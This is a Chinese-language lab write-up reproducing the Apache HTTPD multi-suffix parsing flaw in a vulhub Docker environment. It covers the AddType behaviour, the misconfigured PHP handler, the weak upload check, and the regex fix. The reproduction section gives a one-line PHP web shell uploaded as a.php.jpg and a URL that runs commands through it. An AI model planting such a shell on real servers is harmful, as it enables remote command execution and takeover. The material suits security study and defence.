Apache HTTPD 多后缀解析漏洞 漏洞复现
前言
该漏洞并不是apache程序本身的问题,而是管理员配置不当造成。Apache支持一个文件具有多个后缀,并为不同的后缀执行不同的指令。例如以下配置文件:
AddType text/html .html
AddDefaultCharset GB2312 .gb
这个配置文件给 .html
后缀添加了媒体格式:text/html
,给.gb
后缀添加了默认编码:GB2312
,如果有一个文件名为 index.gb.html
,那么这两个后缀都会生效,它的媒体格式会设置成text/html
,默认编码设置成BG2312
。
常见的媒体格式类型解释:
text/html: HTML格式
text/plain:纯文本格式
image/gif:gif图片格式
application/pdf:pdf格式
application/octet-stream:二进制流数据(常见的文件下载就是这种媒体格式)
漏洞环境
该环境使用vulhub搭建,该漏洞路径为 /vulhub/httpd/apache_parsing_vulnerability
。进入该漏洞路径后执行以下命令:
docker-compose up -d
-d 表示后台运行。
注意:该命令必须在漏洞目录下执行,该命令是启动当前目录下的docker容器。
如果不会搭建环境可以参考官方文档:https://vulhub.org/#/docs/
原理分析
启动容器后执行以下命令查看容器ID。
docker ps
然后执行以下命令进入容器。
docker exec -it 容器ID /bin/bash
exec 表示在容器中执行一个命令,该命令后加容器ID和要执行命令,上面执行的命令就是/bin/bash。
-i 表示即使没有连接,也要保持STDIN打开,也就是一直监听命令的状态。
-t 表示分配一个tty终端设备,加上这个参数就具有按TAB自动补全命令等等功能。更多详细内容可以参考:
https://blog.csdn.net/qq_40081976/article/details/84590119,docker exec 的使用-it操作。
https://xunyang1.github.io/2021/07/14/docker/,Docker初识。
进入容器后查看apache2的配置文件:
cat /etc/apache2/conf-available/docker-php.conf
发现在配置文件中的配置有点问题,文件名只要有.php的后缀就会当成php文件执行,例如 index.php.html
就会当成php来执行。将这里的.php
改成(.php)$
就不会出现这种问题了。然后再查看文件上传功能代码:
(.php)$ 是通过正则表达式匹配.php,其中$代表在字符串的末尾匹配,所以只有.php位于文件名最后,apache才会将该文件以php的方式解析。
cd /var/www/html
cat upload.php
发现文件上传的代码只会检查文件名最后的一个后缀,所以我们能成功上传 a.php.jpg
,而且apache会把这个文件当成php来执行。
漏洞复现
将一句话木马 <?php system($_GET['a']);?>
保存为 a.php.jpg
,并上传到服务器。
网站地址为靶机IP地址。
可以通过docker ps查看容器的映射的端口。
访问一句话木马,并通过a参数传递命令。
http://192.168.119.131/uploadfiles/a.php.jpg?a=id
命令执行成功!
参考文献
[1] https://blog.csdn.net/qq_40081976/article/details/84590119,docker exec 的使用-it操作
[2] https://blog.csdn.net/weixin_36300275/article/details/118401719,mediatype.text html,你真的了解mediaType吗?
[3] https://xunyang1.github.io/2021/07/14/docker/,Docker初识。